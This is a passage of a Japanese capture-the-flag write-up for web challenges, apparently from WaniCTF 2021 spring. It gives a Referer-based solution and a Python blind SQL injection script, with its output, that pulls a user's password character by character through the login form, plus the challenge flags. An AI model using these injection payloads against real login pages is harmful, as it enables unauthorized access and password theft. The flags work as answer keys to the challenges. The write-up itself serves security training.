RefererのURL http://w4ni-secre7-h1mitu-pa6e.s3-website-ap-northeast-1.amazonaws.com/ にアクセスすると、フラグが書いてあった。
FLAG{h77p_r3f3r3r_15_54f3_42a2cc2f275}
watch animal (Web)
wanictf21spring@gmail.comのメアドの人のパスワードがフラグとのことで、Blind SQL Injectionでパスワードを求める。
import requests
url = 'https://watch.web.wanictf.org/'
passlen = -1
for i in range(1, 33):
payload = {"email": "wanictf21spring@gmail.com",
"password": "' or (SELECT length(password) FROM users WHERE id = 1) = " + str(i) + " -- -"}
r = requests.post(url, data=payload)
if 'Login Failed' not in r.text:
passlen = i
break
print '[+] Password Length is:', passlen
flag = ''
for i in range(1, passlen + 1):
for code in range(33, 127):
payload = {"email": "wanictf21spring@gmail.com",
"password": "' or substr((SELECT password FROM users WHERE id = 1)," + str(i) + ",1)='" + chr(code) + "' -- -"}
r = requests.post(url, data=payload)
if 'Login Failed' not in r.text:
flag += chr(code)
break
print '[+] flag:', flag
print '[*] flag:', flag
実行結果は以下の通り。
[+] Password Length is: 15
[+] flag: F
[+] flag: FL
[+] flag: FLA
[+] flag: FLAG
[+] flag: FLAG{
[+] flag: FLAG{b
[+] flag: FLAG{bl
[+] flag: FLAG{bl1
[+] flag: FLAG{bl1n
[+] flag: FLAG{bl1nd
[+] flag: FLAG{bl1ndS
[+] flag: FLAG{bl1ndSQ
[+] flag: FLAG{bl1ndSQL
[+] flag: FLAG{bl1ndSQLi
[+] flag: FLAG{bl1ndSQLi}
[*] flag: FLAG{bl1ndSQLi}
FLAG{bl1ndSQLi}